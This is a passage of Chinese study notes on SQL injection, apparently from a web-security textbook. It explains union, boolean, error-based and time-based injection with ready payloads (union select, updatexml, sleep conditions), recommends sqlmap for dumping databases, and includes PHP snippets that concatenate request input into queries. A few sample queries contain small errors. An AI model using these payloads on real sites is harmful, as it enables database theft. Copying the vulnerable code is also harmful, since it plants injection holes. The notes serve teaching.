第四章(Web安全原理剖析)
4.1 SQL注入的基础
4.1.1 介绍SQL注入
产生SQL注入的条件有两个,1.用户可控制输入,2.用户的输入被带入数据库中查询。
产生SQL注入往往是因为存在动态SQL语句,动态SQL语句可以灵活查询不同的内容,但也容易被黑客利用。
SQL注入根据注入原理可分为,报错注入、盲注、Union注入。
4.1.2 SQL注入的原理
url:xxxxx?id=1'
url:xxxxx?id=1 and 1=1
第一条:select * from users where id = 1'
第二条:select * from users where id = 1 and 1=1
如果第一个url 访问报错。
第二个url 访问正常。通常存在SQL注入。
4.1.3 与MySQL注入相关的知识点
必须记住一个库 information_schema
必须记住三个表 schemata、tables、columns
schemata表中存储该用户创建的数据库的库名
tables表中存储该用户创建的库名和表名
columns表中存储该用户创建的表名和字段名
4.1.4 Union注入攻击
url:xxxxx?id=1 order by 4
通过order by可以知道一共有多少列
url:xxxxx?id=-1 union select 1,2,3,4
通过union 可以知道 每一列对应显示在页面的位置
url:xxxxx?id=-1 union select (T-sql),2,3,4
通过构造T-sql 可以查询任意信息。
通过database()查询到当前使用的数据库为 school
继续构造T-sql语句查询:select table_name from information_schema.tables where table_schema='school' limit 0,1;
可以查询到 school库中的第一个表 teacher
继续构造T-sql语句查询:select column_name from information_schema.columns where column_schema='teacher' limit 0,1;
可以查询到 teacher表中的第一个字段 id
知道 库名、表名、字段名时,就可以查询教师表中的记录。
4.1.5 Union注入代码分析
...
$id = $_GET['id'];
$result = mysql_query($con,"select * from users where 'id'=".$id);
$row = mysql_fetch_array($result);
echo $row['username'].":".$row['address'];
...
?>
4.1.6 Boolean注入攻击
注入攻击较为类似,
Union会在页面显示查询返回数据,而Boolean只在页面显示yes或no。
Boolean繁琐在于要构造语句较Union繁琐,建议用Sqlmap完成。
第一步:判断与union注入类似,
在url后面加一个标点符号,页面会返回错误或检索不到内容。
第二步:若发现 id=1 'and 1=1 #区别于 id=1 'and 1=2 #。前者返回yes后者返回no。
第三步:将url交给Sqlmap自动化处理,获得整个数据库内容。
Tips: #号在url中编码为 %23,作用为注释后面的内容,类似的还有--+。
4.1.7 Boolean注入代码分析
...
$id = $_GET['id'];
$result = mysql_query($con,"select * from users where 'id'=".$id);
$row = mysql_fetch_array($result);
if($row){
exit("yes");
}else{
exit("no");
}
...
?>
当构造的语句为 id=1' or 1=1%23时,相当于:
原合法:select * from users where 'id'=1
现非法SQL: select * from users where 'id'=1 or 1=1#
4.1.8 报错注入攻击
原理:利用错误回显,通过floor()、updatexml()等函数将要查询的内容输出到页面上。
第一步:判断是否存在注入点
在url后面加一个标点符号,页面必须返回错误。
第二步:可以将url交给Sqlmap自动化处理,获得整个数据库。
若想手动尝试可以尝试构造:
攻击者期望使用SQL语句: select * from where 'id'=1 ' and updatexml(1,concat(0x70,(select user()),0x7e),1)--+
攻击者构造url:www.target.php?id=1 'and+updatexml(1,concat(0x7e,(select+user()),0x7e),1)--+
上面的url可以获得当前操作数据库的user
攻击者构造url:www.target.php?id=1 'and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)--+
上面的url可以获得当前数据库的名字
攻击者构造url:www.target.php?id=1 'and+updatexml(1,concat(0x7e,(T-SQL语句),0x7e),1)--+
知道数据库名字后,利用information_schema库,可以获得任意信息。
4.1.9 报错注入代码分析
$con=mysqli_connect("localhost","root","123456","test");
if(mysqli_connect_error())
{
echo "连接失败: ".mysqli_connect_error();
}
$username = $_GET['username'];
if($result = mysqli_query($con,"select * from users where 'username'= '".$username."' ")){
echo "ok";
}else{
echo mysqli_error($con);
}
?>
可以看到 username被包裹了2层符号,如果构造的username=1'
会因为多了一个单引号而报错。
存在注入点,利用floor()、updatexml()等函数即可得到数据。
4.2 SQL注入进阶
4.2.1 时间注入攻击
时间注入也叫时间盲注,也可以归为盲注的一种。
盲注的技巧这里也适用。
基础语句:
if( length(database())>1,sleep(5),1 )
if( substr(database(),1,1)='s',sleep(5),1 )
通用格式:
if( substr(T-SQL,1,1)='字符',sleep(5),1 )
4.2.2 时间注入代码分析
$con=mysqli_connect("localhost","root","123456","test");
if(mysqli_connect_error())
{
echo "连接失败: ".mysqli_connect_error();
}
$id = $_GET['id'];
if(preg_match("/union/i",$id)){
exit("